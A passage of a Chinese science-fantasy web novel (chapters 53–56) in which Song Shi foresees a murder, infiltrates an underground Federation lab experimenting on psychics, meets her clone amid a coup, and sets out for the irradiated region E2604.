宋拾吐出口气,露出笑容,“看吧,我就说没藏人。” “打扰了。”她放下枪,带着一帮人去了下一间房。 第53章 有联邦军镇守, 骚乱并没有持续太久,庄园渐渐安静下来,颇有些息事宁人的意味。 宋拾躺在床上, 细细理清刚才的信息。 已知陶顺安是哀涅托的永生者, 但实际隶属于查普曼,为他获取圣水。 说到获取圣水。 她陷入沉思,下意识咬住指甲。 这个操作怎么有点眼熟,好像在哪见过。 多科市执行任务,误入大型邪一教现场,她敲晕的那个家伙就是为了他们家大人获取圣水去的。 他家大人好像叫……叫什么来着? 宋拾搔了搔头。 她记忆虽然还算不错,但过了那么久,也很难立刻忆起。 焦躁地锤了几下脑袋, 一闪而过的灵光在脑海中乍现。 那块象征身份的木牌上刻着——查普曼区。 她忍不住笑出声,查普曼还真锲而不舍啊。 查普曼只有一个,但抱有这种念头的人绝不止一个。 有了金钱和权力,人们便渴望握得更久,如果有个期限,那一定是永远。这也是为什么哀涅托舞到台面上也没人管。 她再一次想起伽蓝的话:“你们不满足,总是不满足,渴望这份不属于自己的力量。” 宋拾不置可否。 饮用过血后的查普曼的确年轻了些, 圣水不仅篡改了生死簿, 还改变了血液。 身为成功的实验体,陶顺安有什么不同吗?当然是不同的,她是尸体与异种的缝合体。 付秋棠说,那是一朵能致幻、控制精神的花。多科市医院里的幻境恐怕也是由她一人操作。 但她为什么会受查普曼控制,甘心听他差遣? 宋拾思考太入神,没意识到指甲盖被咬秃一大截。 不管如何, 这次任务结束后她要找到顾念,她帮了她很多,她必须要救她。 消化完信息后,宋拾看了眼墙上的钟,现在休息还太早,倒不如再练练精神术。 预知这个术法她只用过一次,不知道喝过精神值拓宽药水后会不会更上一层楼,最好能提前预知明天会发生什么。 她闭上眼,缓慢吐息,一丝丝蓝雾似地符文在她肌肤上游走。 睁开眼是一片漆黑,空荡荡,没有一丝声响。 她迈开脚步,向着更黑的方向走去。 猛然间,刺眼的白光吞噬掉黑暗,也吞噬了她。 夜晚的月亮格外的圆,泛着鱼鳞的光泽,但月光下可不是什么岁月静好。 爆破声一声接着一声,建筑倒塌,火光满天,警报与呼救声交织,有一瞬间宋拾以为自己来到了地狱。 怎么一用预知就出现劲爆画面,上次是挪亚爆炸,这次是联邦市爆炸。 紧接着,画面一转。 联邦大楼楼顶,呼啸的狂风大作,吹乱男人的银白的发丝,他金色的眼眸闪烁着某种嗜血的红意。 宋拾轻盈地漂浮在半空,身体呈半透明状,短发被风微微带起,似有若无的痒意。 她浸墨一样的眼眸圆而亮,诧异地看着眼前的画面。 男人的手正掐着一个人的脖颈,那人并不陌生,她今天还见到了的人。 “你……”查普曼似乎想笑,可痛苦的窒息感又让他的表情变得尤为狰狞,脸红了又爆青,额头的血管仿佛下一刻便要爆开。 他用尽全身力气,攀着男人的手,试图扒开,费劲地从嘴里挤出:“你……你不能……” 霍尔忽然凑近,眸子直勾勾地盯着他,右眼微微痉挛了下,“老家伙,你说,我为什么不能呢?” 查普曼却活见鬼一般猛然挣扎起来,“你、你、你不是霍尔!你是谁!” “才反应过来啊。”霍尔嗤笑。 他力道加重,手背上青筋脉络凸起。 “当年没直接杀到你家,是我最大的败笔,早知道不炸那个破学校了。”他扬起的唇角间透出尖尖的虎牙,有些邪性。 “咳咳……”查普曼痛苦咳嗽,布满血丝的眼珠凸起,“联邦学院是你炸的?你……是你……你没死?” 联邦学院是霍尔炸的?贝莉娅不是说是恐怖组织炸的吗? 宋拾CPU烧了,但吃瓜人的素养,还是让她耐着心看了下去。 霍尔单手扼住他的脖颈,提拉到楼顶边缘。 联邦大楼足足有三百层楼高,只要手一松,查普曼就会被摔得粉身脆骨,这下,他彻底不敢动了。 “我当然是死了,实验很成功,普通人也能获得精神力。可没想到啊,不光我的精神力移到这小子身上,连带着我的意识也跟了过去,只要他使用精神术,我就会醒来。我还以为他不会再用到我的力量呢。” 男人慢悠悠说道,笑容扩大,“把我送进实验室的那天,你就该想到自己的死期了。” “咳咳……霍尔呢?他不会杀我的!”查普曼的眼睛里迸出亮光,试图唤起眼前人的良知,“难道你要毁了联邦吗?!” 男人蹙了蹙眉,眼底闪过一丝困惑。 见状,查普曼再接再厉,苦口婆心说:“霍、霍尔,你看看眼前,这就是你想要的吗?” 男人眨了眨眼,金色的眼底映着火光,茫然:“这是……怎么了?” “是你毁了联邦!霍尔,你快放开我……不对,把我放到安全的地方。” 霍尔的右眼痉挛了下,茫然的语气,“你怎么在这里?我马上松手。” “好好好!”查普曼喜极而泣。 他向来是惜命的,今天这恐怖的一幕恐怕要给他的生命蒙上一层阴霾,只可惜,他没有明天了。 “蠢货,他也想杀了你。” 那只手松开了。 他失重往下坠落。 不可置信地死死盯着上面的人,只见男人目光中微露讥讽,转身消失了。 看戏的宋拾惊得合不拢嘴,还没回过神,刺眼的光将她吞噬,眼前的场景消散。 “卧槽!” 她猛然从床上坐起。 这是什么惊天大瓜! 炸掉学校的是霍尔,不对,不是霍尔,是一个精神师……原来有副作用啊,怪不得会用上伽蓝这类产生自我意识的仿生人。 脑袋杂乱一团麻,宋拾平复好内心的波涛汹涌,瞥眼钟,七点四十九分,已经过去了三个小时。 预知耗费了太多精神力,这时她才后知后觉感到疲乏。 外面的雨还在下,噼里啪啦夹杂着几声雷鸣,狂风呼啸,树叶沙沙作响。 她打了个哈欠,眼皮渐渐垂了下去,一夜无梦。 次日。 行程比宋拾想的要紧,天还没亮透就要启程。 大概是激动,大部分人昨晚并没有睡好,疲惫地依靠靠背,眼皮耷拉。 倒是巧,假约翰正好坐在她旁边,绷着一张脸,连个眼神交流也没有,这也好,省的她费力气演戏。 偏偏,她又觉得他有些熟悉。 就比如,他看见广告牌中人们不爱穿衣服的画面,眉峰便不自觉攒簇,移开视线。 抵达目的地时天边才微微透亮。 地下研究所的位置可谓荒凉且隐蔽,能在寸土寸金的联邦市找到这么一大片空地,倒也稀奇。 严阵以待的军人整齐站好,有人发现端倪也晚了,没跑两步,太阳穴就被开个窟窿。 这么一场杀鸡儆猴的戏码,没人再敢逃了,腿哆哆嗦嗦,老老实实进了研究所。 人群中,宋拾特别注意了假约翰的反应,不出所料,没什么反应。 他冷着一张脸,眼神淡漠,似察觉到目光,他扭头向她看去。 宋拾立即露出一个怪异的笑容,倘若用扇形统计图来表示,那一定是五分苦涩三分无奈,还有两分对未来的恐惧。 可她的观众并不买账,像看到那些广告一般挪开了视线。 雪白的墙,漫长的走道,数不尽的门,实验人员脚步交错,瓷砖地板踩得哒哒哒响。 这里充斥着浓烈刺鼻的酒精和消毒水的气味,地板干净得反光。 一位年轻的实验人员悄然走到他们面前,对着联邦军微微点头。 “一,二,三……” 她用笔点着人数了数,随后在笔记本上写上37人。 “还是远远不够。”她遗憾地摇头,与推着尸体的平车擦肩而过。 他们被分成了三批,十人左右为一组,第一批先进了实验室,剩下的人则被关在隔壁,手脚被特殊绳索捆住,动弹不得。 宋拾是第二批,自觉地挪到角落里,好在精神力能用,悄悄挣扎了几下,绳索脱落。 那个假约翰就比较倒霉了,上来就是第一批。 隔壁总是不时传来骇人的尖叫或者癫狂的笑声,吓得屋内的人直打哆嗦。 走廊地板铺的是瓷砖,脚步声哒哒哒响,在他们实验室前停了下来。 门开了,走进来三位实验人员,麻溜迅速地选中一名幸运儿带走。 这代表已经有一位不幸死亡了。 隐身的宋拾悄悄跟着他们走出实验室,走到隔壁实验室时,她忍不住朝里面望一眼。 一瞬间,毛骨悚然,从头冷到脚。 滴滴答答,滴滴答答,密密麻麻的机械声交织。 十几台精密仪器同时运转,锅盖样式的头盔套在实验体头上,将精神师与仿生人连接。 与仿生人平静的面容相比,人类的表情就显得痛苦狰狞多了,只有眼白的眼珠,颤抖的肌肉,过电一般发颤,少部分人发了疯,眼斜嘴歪大笑。 他们的反应各不相同,但却都有一个共同点。他们脚趾蜷缩,用力扒着地面,像是被什么东西抽走,连带着灵魂。 门重重阖上。 宋拾久久回不过神。 第54章 回过神来, 她也没看清假约翰究竟在不在里面。 只要不阻碍任务都无所谓。 广播不停地传唤人,走廊里人来人往,他们脚底恨不得踩出火星子, 不敢慢下半秒。 宋拾摸了摸耳朵上的通讯器,它有实时定位功能,贝莉娅会根据定位将车停在附近。 “墨格拉你在吗?” 她压低的嗓音在实验室传来的撕心裂肺的吼叫声下,并不明显。 通讯器的电流声让耳朵有些酥麻,传来生硬的机械女声:“我在。” 不知为何,宋拾竟奇异地感到些许安心。 “向前直走,尽头有个电梯可以下到达负十八层。我在这里的权限不多, 能帮你的地方不算太多。” “没关系。”她说。 其实单是指路这点已经帮了她很大的忙,不然不知道要摸索到什么时候。 中央空调冷气给得足, 加上越走长廊上的人越少,有种太平间似的湿冷压抑。 穿过无数扇门,走到电梯门口,她才真正意识到墨格拉所说的权限, 电梯需要扫虹膜才能进, 唯一的办法就是等。 直到一位推着推车的实验人员到来。 核对虹膜,负十八楼,电梯门打开。 骨辘辘—— 推车进了电梯,带着一名偷渡者。 推车被宽大厚重的白布盖的严严实实, 除了皱巴巴掀开的一角—— 那名实验人员紧紧眉头,伸手将那片皱起的边角抚弄平整。 唯一透光的地方伸下来一双手,宋拾尽可能蜷缩成团,屏住气,眼睛紧紧盯着那双手把布掀下来。 顷刻间,拥挤狭小的空间漆黑无比。 墨格拉的话淌进耳朵, “负十八层装置着检测精神力波动的仪器,不想暴露的话,任何精神术法都不要使用。” 钻进推车的刹那,她就恢复成原本模样。短发,杏眼,一身方便行动的贴身衣服,营养不良的羸弱,整个人都极为娇小。 封闭的空间,似乎总会让人产生那么些错觉,宋拾恍惚间听见另一颗心脏在胸膛缓缓跳动的声响。 仿佛是要印证她的想法,极轻浅的呼吸热气喷洒到她的脸颊上。 这里,有人。 宋拾差点抑制不住喉咙间的尖叫,连忙捂住嘴。 瞳孔警惕戒备地盯着身侧微微晃动的人影,黑漆漆的,她刚才怎么没发现?一面想着,一面注意着外面动向。 手悄悄探进鞋缝,摸上事先藏好的短刀。 一声微不可闻的轻笑在黑暗中划过。 宋拾精神都绷紧了,捏紧短刀,等对方下一步动作。 “叮。”电梯门打开。 骨辘辘——推车动了。 实验人员匆忙地踩着瓷砖嗒嗒,迅速利落地将车推进一个房间内,扫描虹膜的提示音结束后,门重重落下。 短短几十秒的时间,宋拾却觉得无比煎熬,不敢轻举妄动,生怕对方做出什么让她暴露的事。 头顶布料摩挲的声响,脚边的缝隙变大,白布被人掀起,冷空气透了进来。 黑暗中的俩人同时身体一僵。 光亮争先恐后涌进来,缝隙越来越大,几乎快要遮不住人,千钧一发之际,广播响了。 “ B组组长张菲,请立即前往负三楼资料室,请立即前往。” 那双手顿住,白布落下,逼仄狭小的空间再度陷入漆黑。 “几个废物,没我会死吗?” 闻声,宋拾小心翼翼掀开一角,看见洁白的裤腿和套着鞋套的鞋,那人不耐烦地将地板踩得噼里啪啦,门咣当一声,脚步远去。 只留下诡异的安静。 身旁的人率先掀开布,无人,俩人迅速钻出来。 明晃晃的灯光下,那人的容貌自然暴露在她眼里。 不过二十出头的模样,金发蓝眼,鼻尖点缀着几颗雀斑。 约翰? 她吞下差点溢出喉咙里的名字。 能来到这里,横竖不过是为了那些实验数据。 她在打量他的同时,对方也在观察她,彼此似乎都没有攻击的意思,这意味着有谈判余地。 “我们互不妨碍,怎么样?” 青年却不动声色,“这要看你的目的是什么了。” 那双秋泓一样的修眸注视着她,宋拾恍惚片刻,竟然产生一种他生的极好的错觉。 “……”她顿了顿,“也许我们的目的是相同的呢?” “那倒可以合作。” 宋拾闻言悬起的心也算落了地,这才注意室内的一切。 空间大却不显空旷,终点尽头似乎是一扇圆圆的门。 瓶瓶罐罐整齐有序摆在俩旁,圆柱状的营养罐,浓绿液体中浮动着各种丑陋的异种,每个罐下都标注着编号和介绍。 她从来没有见过这么多种类的变异生物,大的跟恐龙差不多,小的甚至需要显微镜来看。 不敢相信这些家伙如果跑出去会造成什么后果。 冰冷的玻璃罐映射着她们一前一后的身影,尽头处的圆门渐渐清晰起来。 猛然间,宋拾看见什么,愕然愣在原地,就连假约翰也停顿了脚步。 营养罐中人鱼起起伏伏,安静的睡颜,犹如长眠。人鱼的旁边,是一个小女孩,裸露的皮肤上生满青绿的鳞片,痛苦的眉毛揪在一起。 底部标注:人造异种裴羽流,人造异种张诺诺。来源于永生实验室,并未丧失人类感情,对外界反应强烈,具有研究价值。 其他熟悉的面孔也在其中,有些因实验死亡,被制成了标本。 喉咙里泛出淡淡的酸,说不上的无力感。 她逼迫自己移开视线,目不斜视,往前走。 只能往前走,不能回头。 两人走到圆门前,不知是谁踩到了机关,陡然出现的红色激光变换着形状移动而来。 青年纵身跳过去,他身姿矫捷,动作利索,眨眼间便到了对面。 他唇角微弯,定定地看着她,“需要帮忙吗?”他当然是真心实意的,只是对方却不这么认为。 宋拾眼皮跳了跳,嗅到了挑衅的味道。 “你在瞧不起谁?” “我……”男人想解释,但还是沉默了。 一生要强的宋拾身姿比他还要矫健,三两下翻跳过去,但还没站稳,本移过去的激光猛然往反方向来。 她眉心一跳,正要翻身往后滚时,一只冰冷的手搂过她的腰,往后一带,堪堪躲过。 距离太近,她听见他乱了一拍的心跳,擂鼓一般。 碧蓝的眸有些失神,痴痴地看着她。 她皮肤很白,不健康的白,面颊上细细的绒毛看起来极为可爱。 “好看吗?” 他听见她问。 “好、好看。” “你想要搂到多久?”宋拾面无表情,盯着他的眼睛。 青年绷紧唇,一脸淡定地撒开了手,耳朵却烧红起。 宋拾意味深长地看他,带着嫌弃,“我把你当兄弟,你却想吃我豆腐。” 他别开视线,冷淡的声音,“……抱歉。” 宋拾眯起眼睛,心里已经有了答案。 最后一扇门没上锁,轻轻一推便开了。 扑面而来的机械的冷调气味,大大小小的仪器映入眼帘,从桌堆积到地上的A4 纸张,就连垃圾桶内也堆满的碎纸屑。 让人无法忽视的是角落里的营养罐。十来个罐子里的小女孩一比一复制,蜷缩成小小的一团。 宋拾心脏骤然擂起鼓来。 和她幼年版一模一样的脸。 谅雀的克隆体。 “这次多少人?” 屋内只有一位实验人员,是个上了年纪的亚洲女人,身形瘦小,银发中夹杂了一些黑,噼里啪啦打着字,没有回头,声音疲惫。 青年没吭声,还是宋拾模仿刚才那个实验人员的声音:“37人。” 上了年纪的女人只是叹息,没再继续搭话,埋头忙起了工作,似乎忘记他们的存在。 青年上前,利落抬掌将她劈晕。 接着,他从怀中掏出一把枪,瞄准女人身前的主机。 宋拾惊恐瞪大眼。 完啦,目的不一样。 她猛地扑过去要夺枪,男人反应迅速,俩人擦肩而过,枪口对准她。 他神情严肃,危险地眯起眼睛,冰冷道:“看来我们无法合作了。” 仿佛刚才害羞吃豆腐的人不是他。 宋拾举起双手,“不不不,你误会了。” “误会什么?” 她正打算使用湮灭击过去,却见男人身上陡然闪烁起猩红的符文,沸腾的血液一般游走在皮肤上。 这是……他的精神术的颜色。 下一秒警报拉响,震得人耳膜发疼: “实验室内非法使用精神术,实验室内非法使用精神术。” 红光闪烁,紧张气氛拉慢。 完了完了。 宋拾喉头发紧,血液仿佛从脚开始朝头顶倒灌。 她太阳穴突突直跳,一时间想不出对策来。 未来得及反应,眼前一道黑影扑来,旋即嘭一声,微热的鲜血溅到她脸上。 男人罩在她身前,左胸口处的窟窿不住地渗出血,病毒似的扩散,染红布料。 他依旧冷着脸,眉都没皱一下。 为什么? 宋拾脑袋嗡嗡作响,像旧世界电视机信号不好时发出的鸣叫,高亢而刺耳。 她翕动唇瓣,话还未说出口,男人强撑着转身,开了一枪。 她透过缝隙看见方才昏迷的女人不知何时醒的,手里还握着枪,眉心被子弹射穿,死不瞑目地倒了下去。 望着男人踉跄的背影,宋拾一把扶住他,将他贴着墙放倒。 “我没事。”他说这话时,嘴唇苍白得吓人。 “你有事,流了那么多血。” 她担忧地说着,又“一不小心”按到他的伤口处,果不其然,男人疼得脸色一白,微微阖上眼睛,嘴唇抿起。 “别动。” 他要抓住她不安分的手,宋拾却泥鳅一般躲开。 “啊呀呀,我不动了,你先缓缓。” 她说着,趁机将贝莉娅给的u盘一样的东西插到主机上。 下秒,子弹嘣了过来。 屏幕瞬间四分五裂,滋滋啦啦,雪花飘飘。 屏幕碎片差点蹦她脸上。 宋拾如鲠在喉。 男人倚靠着墙,举着枪的手重重垂下,他似乎松了口气,扶着墙想要站起身。 “主机遭到破坏,系统正进行云端备份,一分钟后实验室自毁。”碎得稀巴烂的主机发出了令人始料未及的遗言。 他彻底站稳身体,对着宋拾唇角牵动了下,“宋拾,好久不见。” 他的身份再清楚不过了。 血红的符文更盛,瞳孔血一般猩红,霍尔捂着不断往外渗血的胸口,一缕缕红色的精神力穿透雪花屏幕。 “备份失败,自毁……失效……”机器彻底报废。 宋拾心彻底凉了,取出U盘,沉着眉,思索究竟有没有读取到资料,哪怕一点也好,总归是个交代。 没有就算了,大不了再想别的脱身办法。 正想着,一只冰冷的手一把攥住她的手腕。 “为什么不说话?” 子弹正中心脏,霍尔脸色惨白,出气比进气少,但他却露出一抹苍白的苦笑。 他快要死了,又一次。 宋拾掀了下眼皮,可谓毫无情面,“我们很熟吗?” 男人几乎站不稳,她只好托着他的腰,任由对方的下颌轻轻搭在肩上。 他的呼吸紊乱,意识已经不清了,断断续续道:“我会救他们的,只是、我没想到联邦会这么对待他们……咳咳,宋、宋拾,等我……我马上来救你……” 最后他再无气力,从宋拾身上垂落瘫软。 第55章 宋拾松开手。 她该走了。 童话故事里公主需要等待王子的拯救, 但她却觉得这种等待愚蠢至极,把自己的性命托付一个素昧平生的男人,何其荒谬。 等人的时间, 她已经用到逃跑上了。 主机报废连带着安防系统也跟着瘫痪,宋拾隐身又加速,一路上简直畅通无阻。 快到出口处,却看见乌泱泱的人群堵在长廊里,吵吵嚷嚷乱成一锅粥。 联邦军划分两派互相打起来,场面一度混乱,趁乱跑出来不少实验体, 实验人员也在手忙脚乱地束手无策。 那些喊着“住手,你们快住手!不要再打啦!”的工作人员从一开始的焦急到面如死灰。 “砰砰!”几声枪响。 猩红游蛇似的光绳刺啦啦,顷刻间将暴动的人群锢住。 迎着光,她窥见清空的路中央走来一个男人的身影,宽肩长腿,身形挺拔。他轻慢地甩了甩手,手掌间赤红的符文暗淡下去。 他宽阔的肩膀披着件黑大衣,浮跃的光为他描摹轮廓,仿佛行走的人形衣架。 走得近些时,宋拾才彻底看清对方的容貌。 他的骨相优越, 犹如古希腊雕刻的艺术品, 深邃冷峻的眉眼,捕食者般的金眸微微一眯,便给人带来无形的压迫感。 “今天,就是一只苍蝇也不能飞出去。”霍尔的声音冷硬,不容置喙。 “是!”联邦军们高亢应声。 “这可是谋反!”军队里有人不甘地喊。 “所以?”男人矜贵地微抬下颌,冰冷的目光扫过去,那人噤声不再敢说。 其实细看,他的面庞透着病态的苍白,眉目间流转着淡淡的倦怠,但也仅此而已。 宋拾不敢耽误时间,放轻脚步从他身侧擦肩而过。 偏偏这一刹那,他似乎感应到什么,朝她的方向看了一眼,却又觉得是错觉收回目光,带人冲进研究所深入。 门口的光越来越亮,微风徐徐,撩起她面颊旁的碎发,那些刺鼻的消毒水味总算甩在了身后。 蔚蓝的天空,厚度不一的云勾勒出小狗的形状,像孩童稚嫩的笔触。 通讯器连接上信号,她脸上露出轻松的笑,眉眼弯弯,似宣纸上的墨晕染散开。 “贝莉娅,我出来了,就是那个资料不知道有没有录到。” 短暂的电流后,传来少女甜蜜的嗓音:“你没事就好。我的方位是……” 宋拾按贝莉娅给的方位走,可走着走着,那边的信号却陡然被掐断,只留下滋啦啦的电流。 “不……快跑……滋滋……”杂音交织。 隐约间意识到不对劲,她心脏一紧,蹙起眉,着急忙慌地循着方向跑。 脚下是遮过脚踝的草地,热浪一波接着一波翻滚,草声唰唰。 她喘着气,脚步却无法慢下来,也不敢慢下来,心脏扑通扑通跳动,几乎要跳出嗓子眼。 脚压倒一片片草。 也压弯了她绷紧的神经。 “宋拾,跑!” 贝莉娅倒在血泊之中,偏头望着她,绝望的目光发出悲鸣,红眸倒映着一个人的脸。 她的脸。 瞬间,和之前预知到的场景叠影重合。 只不过在预知梦里,是她要杀贝莉娅。 宋拾艰难地将目光移到另一个人身上,那是个清瘦的女人,马尾高高扎着,容貌清丽,她的指尖溢散着雾似的蓝气一路蔓延,插进倒在血泊中少女的胸口里。 阵阵风吹过,掀起她米咖色的大衣,柔软的白色长裙随风摇曳。 那张脸,和她一模一样。 宋拾没想到会以这种方式遇到她。 “放手。” 闻声,谅雀看向她,波澜不惊的眼睛终于泛起涟漪,她眨了眨眼,有些惊喜,唇角不太熟练地扬起一抹弧度。 轻启的唇还未吐出音节,蕴含浩瀚能量的白光团直直朝她袭来,她有些困惑,一个抬手,那光团消散了。 就、就这么轻而易举化解了?宋拾不可置信,趔趄向后退了两步。 谅雀却没有攻击,缓慢眨了下眼,歉意地问:“她是你的朋友吗?我不知道。” “我们很熟吗?”她冷冷地看着她。 “我知道你呀,你叫小拾,在挪亚小镇,我问了你好多事情呢!”说到挪亚,谅雀露出忧愁的表情。 宋拾有些招架不住她的热情,瞥见地上奄奄一息的少女,打断她滔滔不绝的话。 “你想要做什么?” 谅雀露出笑:“霍尔让我排除意外,但人都会有失误的时候,你们走吧。” 话落,她释放精神力,温柔的蓝光瞬间包裹住重伤的少女,蓝光消散后,贝莉娅身上的伤痊愈,连衣服的破开的地方也恢复如初。 就这么放过她们了?宋拾感到不可思议。 “如果可以,真希望我们还能见面。对了,要打仗了,离联邦市越远越好。”谅雀眼皮垂下,遗憾叹气,她的身形化作点点蓝色的碎屑消散,离开了。 她似乎……不讨厌她,还好像挺喜欢的?谁家好人会喜欢自己有克隆体啊! 宋拾摇摇头,将那些胡思乱想甩出脑袋,急忙跑上前,手忙脚乱地查看贝莉娅的伤势。 “你没事吧?”眼底的担忧几乎要溢出来。 贝莉娅被弄的痒痒的,忍不住笑,连忙抓住她的手,“你别闹,我好了,真的。”说着站起身,还跳了几下证明。 “你伤的那么重,好的哪有那么快,你坐后座,我来开车。” “真的没事。” 最后还是磨不过宋拾,她只好坐到后车座,系好安全带,不忘问道:“你会开车吗?” “会。”宋拾说得信誓旦旦,在末世的时候,她什么车没开过啊。 贝莉娅的脑袋靠在车窗上,笑吟吟看她操作。 “你们为什么长得一模一样?她不会是你素味蒙面的姐妹吧?” “不是,我是她的克隆体。”宋拾眯起眼,试探性地按下某个按钮。 引擎发动。 “克隆体?!”贝莉娅惊呼,瞪圆眼睛缓了许久,感慨道,“关键她对你还挺友好的,怎么会有人不膈应自己的克隆体啊……” “我也不太清楚呢。” 宋拾应付着,按另外一个按钮,悬浮车彻底起飞。 她顿时喜上眉梢。 “宋拾你是不是笨蛋?” 她丝滑的大脑没有任何思考:“也许是吧……啊,不对!” 俩人嘻嘻哈哈闹了会儿,宋拾才交代当时发生的一切,“他开枪毁了主机,也不知道读取到了没有。” 她抬眼望了眼后视镜里摆弄U盘的少女,她在尝试连接智环。 “我有件事情要做,咱们后天再回去吧。” 她要找到顾念,顺便询问一下伊索纳德号的事情。 “好。” 下雪了,天地间被白雪笼罩,雪簌簌地落着,但这并不是下雪的季节。 “怎么会突然下雪?” 宋拾开窗,裹挟着雪气的冷风吹进来,她惊奇伸出手,晶莹的雪花落在指腹上,又极快地融化,留下一小点雪水。 贝莉娅陡然看向某方向,神色黯然,低声:“过生日时会有人特地安排一场雪,是不是特别有排场。” “谁的生日?” 少女无意识地用指甲刮着玻璃,舌头打着旋,“能是谁呢?奥罗拉的小少爷汪子尧咯……你大概不认识。” …… 罗元市,某公寓门口,贝莉娅敲了敲门。 门开了,探出一个毛茸茸的脑袋,原本睡眼惺忪的人蓦地睁大眼。 “宋拾?你怎么来了!” 付秋棠惊喜看过来,居家服松松垮垮套在身上,抱着棕色小熊玩偶,侧身让她们进来。 宋拾瘫坐在沙发上,从白天开车开到半夜,可谓身心俱疲,她反问:“你怎么没回联邦?” 付秋棠嘟起嘴,“不想回去,我那个便宜爹儿女多得能凑十几桌麻将,少我一个也没人在意。” “不无聊吗?” “不无聊啊,多亏了贝莉娅把出租屋借给我,我这才能整天窝在沙发里吹空调,打打游戏,和联邦网上的喷子斗智斗勇……只有偶尔会想家。” 她鼻尖一酸,有些想哭。 这个家自然是她原本世界的家,她想念学校里的朋友,家里热气腾腾的饭菜,而不是饱腹的营养液,甚至想念妈妈的叨唠,爸爸不合时宜的冷笑话,曾经那么稀疏平常,如今却是不可及的存在。 只能放在玻璃瓶里,不时拿来回忆。 宋拾见状,转移话题:“芙蒂斯怎么样,治好了吗?” “这个嘛……”付秋棠的声音小了下去。 “芙蒂斯已经错过了最佳治疗阶段。”坐在一旁的贝莉娅出声。 “不过没关系,总会有办法的。” 少女嘴角依旧弯起甜美的弧度,仿佛毫不在意。 一如既往地,她又一次戴上了厚厚的面具,将真实的情绪盖在心底。 她叹气,对付秋棠说,“很抱歉那段时间让你一直待在小屋里。” 付秋棠受宠若惊,连忙摆手:“你是为了保证我的安全,该抱歉的是我,没能治好你妹妹。” 宋拾闻言,看向贝莉娅:“那你说要离开……”回溯。 “既然治疗不了,我就带她去世界各地逛逛,总比泡在罐子里强。”她笑着,却那么忧伤,将脸颊旁的卷发搭在耳后,像迷路的绵羊。 “你和我一起离开吧。”绵羊发出邀请。 宋拾嘴唇翕动,“我不知道赵柯这次往我身体塞了什么,一时半会恐怕走不了……西索斯会甘心放你走吗?” 贝莉娅皱皱鼻子,骂道:“我也不清楚,他这人一向混蛋。但我替他做了那么多年的事,凭什么不放我离开,而且他承诺我,这是最后一个任务。” 说完,她跑进卧室调试智环去了。 客厅就只剩下她和付秋棠。 “终端借我用用呗。”宋拾露出和善的笑容,苍蝇搓手。 “之前的终端你还没有还我!” 提到终端付秋棠就炸毛。 宋拾顺走她的终端也就算了,她竟然还没有半点察觉! 第56章 “丢了。”宋拾无辜地眨眨眼睛。 被回溯抓住后, 那个终端自然被收走了。 付秋棠皱着眉毛,纠结地将终端递过去:“好吧,但你要记得还我。” “会还的会还的, 付女士真是人美心善!” 宋拾拍完马屁,点开终端里论坛的图标,登上了自己的账户。 许久没上线,一上线便看见论坛炸开了锅,最新的帖子密密麻麻刷满屏幕。 包括但不限于“一觉醒来,联邦炸了”“奥罗拉集团太子爷生日”“联邦市的大雪”“跳楼的人疑似查普曼”“人在联邦市,还活着,勿念”“男朋友得了痔疮用我的卫生巾怎么办?”“【图片】联邦市的烟花怪好看的”。 平常宋拾不怎么刷帖子,但论坛第一次这么热闹,她没忍住爬起楼来。 高歌的哑巴:联邦市已经乱成一锅粥了,大家快趁热吃吧! 悲伤の可达鸭:为什么没人说多科市? !我们多科也炸了好吗? 雪:谁来救我?我可以先付三十万星币!救到人后再给五十万!急急急! 查无此人【用户已死亡】回复雪:私。 爱吃折耳根回复查无此人【用户已死亡】 :老兄你人怎么没了? ! 雪回复查无此人【用户已死亡】:一路走好【双手合十】 AAA呀:一路走好【双手合十】 知秋:有人知道发生什么了吗? abandon回复知秋:霍尔上校谋反,带领联邦军攻占了联邦大楼,也不知道从哪冒出个精神师, 恐怖得跟核武器一样, 到处乱杀。 小星星:【眼睛】大家都是夜猫子吗? 想毁灭回复小星星:我不想骂人,你家炸了,你还能睡的着? 我来烤烤你回复想毁灭:大城市的人遭到报应了吧!联邦市搞活体实验的那天就该知道今天!哈哈哈哈!爽! 想毁灭回复我来烤烤你:哦?原来是久藤的啊,怪不得嘴那么臭,又吃【便便】了吧。更何况,活体实验是自愿的,你想去还不够格呢(捂嘴笑)。 话题渐渐歪了,地域歧视愈演愈烈,硝烟气息弥漫。 宋拾没再看下去,打开用户主页: 用户:今天捡垃圾了吗 账户余额:十五万星币 精神术法: 【骨肉再生】【复制】【隐身】【预知】 未解锁:【读取】 她点开任务表格, 手指灵活地打上大段大段的话。 “联邦学员失踪的幕后真凶就是联邦,目的是为了给实验提供实验体。” 打上最后一个句号,任务进度缓缓推进至百分之八十。 宋拾感觉肩上的重担一下子轻了不少,联邦学生的失踪已经真相大白,还差伊索纳徳号,等找到顾念后就能问清楚了。 说起来,她本以为顾念还在多科市,毕竟陶顺安当上了多科市安防局大队长,总不能将她关在太远的地方。 但墨格拉说,陶顺安不久前带着顾念离开了,去了一个叫E2604的地方。 关于E2604,宋拾在联邦网上查了,相关资料少得可怜。 索性发帖询问,“E2604好神秘啊,值得去旅游吗?” 她刚点击发表,就被付秋棠按住肩膀猛晃,手机滑进沙发缝隙里。 “联邦炸了耶,我没回去果然是正确的!” “什么?”宋拾这才注意到家用终端里传来的新闻报道。 联邦上校发起政变,军队包围住众多大臣的住所,就连联邦总统付修明也被囚禁,安德烈病情加重,似乎有生命危险,不知从哪出现的女人,看不见脸但猛得一批,指哪杀哪。 荧幕中,记者身后秩序混乱,大楼倾倒,火焰熊熊燃烧,人们抱头流窜呼救,车辆相撞,乱的不能再乱了。 记者冒着汗介绍,猛然看见一个窝在墙角瑟瑟发抖的人,快步上前采访,却被那人抢走终端,气得他口吐芬芳。 “还好这里比较偏——” 宋拾说着,弯下腰去掏沙发缝里的终端,论坛帖子已经有了回复。 久藤第一食人花:E2604区也叫E2604辐射区,一去一个不吱声。 久藤第一食人花:你见过钢筋混泥土上的蚂蚁人吗?他们就是。落后的交通与医疗技术,和旧世界有什么区别?完全被时代完全遗弃的地方好吧,不建议去,还不如来我们久藤【位置共享】。 最最离谱的是,政策要求当地居民不能更改户籍,不能去其它城市,必须要世世代代留在本地,那可是辐射区啊! 楼主回复久藤第一食人花:谢谢。 宋拾素来是行动派。 历时六个小时的奔波,她骑着重金租来的摩托车来到E2604区。 裹着沙的狂风呼啸,吹得E2604铁牌摇摇欲坠。 风很大,尘土漫天飞扬,灰蒙蒙的天空,始终被厚重的尘土笼罩,没有霓虹灯的光污染。如果说别的地方是赛博,那这里就是废土。 脚踩沙砾踩的嘎吱作响,一望无际的荒凉。 